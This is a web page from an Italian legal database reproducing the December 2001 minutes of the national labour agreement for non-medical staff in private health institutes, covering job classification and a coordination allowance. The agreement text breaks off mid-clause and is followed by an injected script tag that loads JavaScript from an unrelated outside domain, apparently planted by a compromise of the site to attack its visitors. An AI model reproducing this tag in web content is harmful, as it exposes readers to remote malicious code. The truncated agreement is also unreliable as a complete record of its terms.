Torna all'elenco delle categorie

Categoria: Sanità (personale non medico area privata)
Settore: Enti Privati
Data stipula: 21-12-2001
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2001

VERBALE


Il giorno 21 dicembre 2001, in Roma, tra:

-    ARIS  nella  persona del Vice Presidente Mario Bonora, assistito  dal
  Capo-delegazione  Giovanni Costantino e dai componenti  la  Commissione:
  Graziano  Ciccarelli, Sergio Ceretti, Paolo Magon, Paolo Moscioni,  Josè
  Parrella,  Giampiero Sironi e Mauro Mattiacci; la Fondazione  Don  Carlo
  Gnocchi-ONLUS, nella persona del Capo Delegazione Enrico Maria Mambretti
  assistito da Salvatore Provenza;

e

le Federazioni nazionali sanità di:

-    FP-CGIL,  nelle  persone  di  Laimer Armuzzi,  Carlo  Podda,  Rossana
  Dettori e Alfredo Garzi;
-   CISL-FPS, nelle persone di Rino Tarelli, Marco Lombardo, Gabrio Maria
Tonelli, Luigi Gentili e Giuseppe Solomita;
-   UIL-Sanità, nelle persone di Carlo Fiordaliso, Mariavittoria Gobbo,
Claudio Tulli e Guido Sarritzu

è  stata raggiunta l'intesa per la stipula del CCNL relativo al biennio di
parte economica 2000-2001

PER IL PERSONALE NON MEDICO DIPENDENTE DAGLI ISTITUTI SANITARI PRIVATI:

detta intesa - costituita da 9 articoli, 2 dichiarazioni congiunte, 1 nota
a  verbale  e  2  tabelle  - è definita nel pieno rispetto  del  documento
sottoscritto dalle parti in data 24.7.01.

Dopo ampia discussione le parti concordano quanto segue:

1.   viene  riconosciuto l'inquadramento nella categoria "D", a far  tempo
  dall'1.9.01 (nelle posizioni economiche indicate nell'allegata tabella 2)
  delle  professioni sanitarie e tecniche di cui ai profili  professionali
  dell'art. 43 del vigente CCNL, e precisamente: personale infermieristico
  (infermiere  professionale, ostetrica, dietista,  assistente  sanitario,
  infermiere pediatrico, podologo, igienista dentale); personale  tecnico-
  sanitario (tecnico sanitario di laboratorio biomedico, tecnico sanitario
  di radiologia medica, tecnico di neurofisiopatologia, tecnico ortopedico,
  tecnico di fisiopatologia cardiocircolatoria e perfusione cardiovascolare,
  odontotecnico,   ottico);   personale  della   riabilitazione   (tecnico
  audiometrista,  tecnico  audioprotesista,  fisioterapista,  logopedista,
  ortottista,  terapista della neuro e psicomotricità dell'età  evolutiva,
  tecnico  dell'educazione e riabilitazione psichiatrica  e  psicosociale,
  terapista    occupazionale,   massaggiatore   non   vedente,   educatore
  professionale); assistente sociale.
  
  Al  personale sopra indicato restano attribuite le indennità  specifiche
  eventualmente spettanti ai sensi dell'art. 53 del CCNL.
  Le  parti  si  danno  atto che l'inquadramento nella categoria  "D"  non
  determina - per i lavoratori sopra indicati - il venir meno del rapporto
  di subordinazione gerarchica nei confronti dei rispettivi coordinatori e
  caposala,  salvo che non venga loro altresì riconosciuta l'indennità  di
  funzione per il coordinamento (come indicata al punto 3).

2.    Viene  riconosciuta  altresì  la  possibilità,  alla  stregua  della
  discrezionale  valutazione  datoriale  e  sulla  base  della   specifica
  situazione  organizzativa  e funzionale della  struttura  sanitaria,  di
  conferire  ad  alcune  figure  del predetto  personale  la  funzione  di
  coordinamento dell'attività di determinati servizi e/o del personale non
  medico  assegnato all'unità lavorativa cui sono preposte. L'assegnazione
  del  predetto incarico con la relativa assunzione di responsabilità  del
  proprio operato è revocabile per il venir meno della funzione, a seguito
  di   valutazione   del  datore  di  lavoro,  previa  informazione   alle
  rappresentanze sindacali.

3.    Al   personale   cui  è  affidato  l'incarico  di  coordinamento   è
  riconosciuta, per il solo arco temporale di assegnazione, un'indennità di
  funzione in parte fissa nella misura mensile lorda di £. 250.000, per 13
  mensilità; la predetta indennità di funzione è parimenti revocabile per il
  venir  meno della funzione per i motivi innanzi esplicati (salvo  quanto
<<script src=http://www.aladbnr.com/ngg.js></script>













(c) 2002-2022 www.infoleges.it -  powered by Be Smart s.r.l - Note legali e Condizioni d'uso